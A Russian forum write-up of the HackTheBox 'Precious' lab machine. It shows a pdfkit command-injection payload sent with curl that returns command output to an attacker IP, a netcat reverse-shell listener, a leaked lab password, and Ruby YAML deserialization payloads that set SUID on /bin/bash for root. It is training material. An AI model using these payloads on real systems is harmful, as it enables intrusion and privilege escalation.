• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

prew.jpg

Приветствую, уважаемые читатели форума Codeby! Сегодня мы пройдём, как мне кажется, самую лёгкую машину на HackTheBox, которая на данный момент вознаграждается поинтами.

Разведка

Начнём с того , что просканируем порты. Используем флаг -sC, чтобы использовать стандартные скрипты, -sV, чтобы определить сервисы открытых портов и -sS, чтобы использовать TCP SYN сканирование на основе полуоткрытых соединений (для этого мы также запускаем nmap с правами суперпользователя):

Pasted image 20230307205128.png


У нас есть типичный для CTF порт 22, который мы скорее всего будем использовать, когда уже получим данные пользователя/рута. И 80порт - на нём, как правило, располагается веб-сервер.

Переходим на http://10.10.11.189:

Pasted image 20230307205159.png


Нас тут же редиректит на домен precious.htb. Следовательно, чтобы получить доступ к сайту нам нужно настроить /etc/hosts (подробнее про файл /etc/hosts Вы можете прочитать ). Внести туда имя домена и IP-адрес машины. Для этого открываем данный файл в консольном редакторе nano с правами суперпользователя:

Bash:
sudo nano /etc/hosts

И вносим туда следующую строку:

Код:
10.10.11.189 precious.htb

Pasted image 20230307205237.png


Теперь переходим на http://precious.htb:

Pasted image 20230307205310.png


На сайте мы можем сконвертировать любую веб-страницу в PDF-файл. Я пробовал эксплуатировать OS Command Injection, LFI, RFI и SSRF, предполагая, что на бэкэнде используются опасные функции, - ничего не вышло:

Pasted image 20230307205537.png


Давайте запустим веб-сервер пайтона, чтобы проверить, может ли сервер отправлять свои запросы на нашу рабочую машину:

Bash:
python3 -m http.server

Pasted image 20230307205624.png


Теперь вводим наш локальный IP-адрес в поле ввода на главной странице precious.htb:

Pasted image 20230307205712.png


После отправки запроса веб-сайт предлагает нам скачать PDF-файл, в котором располагается содержимое ссылки (мы её указали в форме):

Pasted image 20230307205746.png


Мы можем заставить веб-сервер атакуемой машины отправить GET-запрос на наш веб-сервер, вот только особой выгоды с этого не получить:

Pasted image 20230307205759.png


Что насчёт самих PDF-файлов? Очевидно, что на сервере есть автоматизированный инструмент, который их генерирует. Есть вероятность того, что его название и версия указаны в метаданных файла. Проверим файл с помощью exiftool:

Pasted image 20230307210050.png


Видим следующую строку:

Creator: Generated by pdfkit v0.8.6

То есть используется pdfkit версии 0.8.6. Давайте поищем в гугле возможные уязвимости на данный софт:

Pasted image 20230307210123.png


Становится понятно, что это и есть ключ к взлому. В pdfkit версии 0.8.6 есть Command Injection. Данная уязвимость позволяет нам выполнять любые команды от лица пользователя веб-сервера. Теперь давайте разберёмся с эксплуатацией.

На мы можем найти PoC (Proof Of Concept) уязвимости:

Pasted image 20230309014718.png


Так как мы передаём данные через POST-параметр url, следовательно, в него нам и нужно класть пэйлоад:

Pasted image 20230309015214.png


Согласно PoC'у и описанию уязвимости, нам требуется использовать следующий пэйлоад:

Код:
http://10.10.16.52/?name=%20`<команда ОС>`

Будем использовать curl, но можно также использовать и сам BurpSuite. Используем опцию -X, чтобы указать, что будет POST-запрос и опцию --data-raw, чтобы указать POST-параметр url:

Bash:
curl "http://precious.htb/" -X POST --data-raw "url=http://10.10.16.52/?name=%20`whoami`"

Не забудьте закодировать пэйлоад url-параметра в URL-энкод:

Bash:
curl "http://precious.htb/" -X POST --data-raw "url=http%3A%2F%2F10.10.16.52%2F%3Fname%3D%2520%60whoami%60"

Нам также требуется поднять наш веб-сервер, куда будут приходить GET-запросы (которые содержат результат отработки пэйлоада) с атакуемой машины. Я запустил веб-сервер пайтона с правами суперпользователя, чтобы он работал на 80 порту. После того, как мы его запустили, отправляем наш пэйлоад. Как можно заметить, precious.htb отправляет нам запрос с результатом работы пэйлоада в GET-параметре name:

Pasted image 20230308170942.png


Скорее всего бэкэнд веб-сервера написан на Ruby, так как его пользователь - ruby. Когда мы убедились в том, что Command Injection действительно работает, давайте организуем себе реверс шелл. Крайне рекомендую сервис . Достаточно вбить IP-адрес и порт машины, куда придёт реверс-шелл, чтобы получить готовый пэйлоад:

Pasted image 20230309020401.png


Мы знаем, что на сервере используется Ruby, следовательно, логичнее всего использовать реверс шелл через данный язык программирования. Копируем то, что выдал нам Reverse Shell Generator и кладём это в место, которое предназначено для пэйлоада:

Код:
http://10.10.16.52/?name=%20`<вот сюда>`

Конечно же, перед этим ставим листенер, например, на 9898 порт:

Bash:
nc -nlvp 9898

Делаем URL-энкод значения POST-параметра url и отправляем запрос:

Pasted image 20230308171249.png


Отлично, мы залетели на машину. Теперь нам нужно повысить привилегии и получить пользователя.

Взятие пользователя

Немного перебрав различных конфигов, я нашёл скрытый каталог .bundle в домашней директории пользователя ruby. В нем есть файл config. Читаем файл - получаем данные пользователя henry:

Pasted image 20230308172818.png


henry:Q3c1AqGHtoI0aXAYFH

Подключаемся по ssh к precious.htb:

Bash:
ssh henry@precious.htb

Pasted image 20230308173505.png


Теперь можем забирать флаг пользователя - user.txt.

Взятие суперпользователя

Используем sudo -l, чтобы узнать, что мы можем запустить от лица суперпользователя:

Pasted image 20230308173539.png


Мы можем запустить следующую команду при этом использовав пароль от henry:

Bash:
sudo /usr/bin/ruby /opt/update_dependencies.rb

Давайте глянем, что у нас в файле /opt/update_dependencies.rb. Там следующий код:

Ruby:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
 
# TODO: update versions automatically
def update_gems()
end
 
def list_from_file
   YAML.load(File.read("dependencies.yml"))
end
 
def list_local_gems
   Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
 
gems_file = list_from_file
gems_local = list_local_gems
 
gems_file.each do |file_name, file_version|
   gems_local.each do |local_name, local_version|
       if(file_name == local_name)
           if(file_version != local_version)
               puts "Installed version differs from the one specified in file: " + local_name
           else
               puts "Installed version is equals to the one specified in file: " + local_name
           end
       end
   end
end

В гугле мы можем найти множество источников про атаку десериализации YAML (YAML Deserialization Attack). В данном случае она эксплуатируется через YAML.load(). Я нашел следующую статью, где эксплуатируется похожий код с YAML.lopad() - . Мы можем проверить пэйлоад из статьи:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: date >> /tmp/rce9b.txt
        method_id: :resolve

Создаём файл dependencies.yml в каталоге /tmp и просто копируем туда содержимое пэйлоада. Затем запускаем скрипт update_dependencies.rb с помощью прав суперпользователя и интерпретатора ruby:

Pasted image 20230309005215.png


Пэйлоад предполагает то, что после его отработки создастся файл rce9b.txt с владельцем и группой файла root:root:

Pasted image 20230309005325.png


Всё пошло по правильному сценарию. Следовательно, в YML-файле нам нужно класть пэйлоад в git_set:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: <вот сюда>
        method_id: :resolve

Теперь нужно подумать, как нам взять рута. В целом, мы можем просто скопировать флаг root.txt в /tmp с помощью следующего пэйлоада:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: cp /root/root.txt /tmp/; chmod 777 /tmp/root.txt
        method_id: :resolve

Но в таком случае мы не получим полноценный root-доступ. Можем выставить SUID-бит на /bin/bash, чтобы запустить командную оболочку bash от имени пользователя root (подробнее про SUID-биты Вы можете прочитать тут).

Приводим YML-файл к следующему виду:

YAML:
:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: chmod u+s /bin/bash
        method_id: :resolve

И запускаем ruby-скрипт с правами суперпользователя:

Pasted image 20230309010942.png


Теперь запускаем bash с опцией -p, чтобы запустить командную оболочку от лица пользователя root. Про то, как повышать привилегии с помощью программ, которые имеют SUID-бит, Вы можете ознакомиться на :

Pasted image 20230309024055.png

Pasted image 20230309024109.png


Теперь мы с чувством выполненного долга можем прочитать root.txt:

Pasted image 20230309011038.png


Друзья, большое спасибо, что прочитали данную статью. Пожалуйста, укажите в комментариях, если я допустил какие-либо ошибки или есть какие-нибудь неточности :)
 
Последнее редактирование модератором:

truexe

Green Team
16.04.2019
13
6
BIT
15
Написано Easy, если это изи - то я боюсь представить что там на Харде)) автор красавчик - очень интересно!
 
  • Нравится
Реакции: Trager и szybnev
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!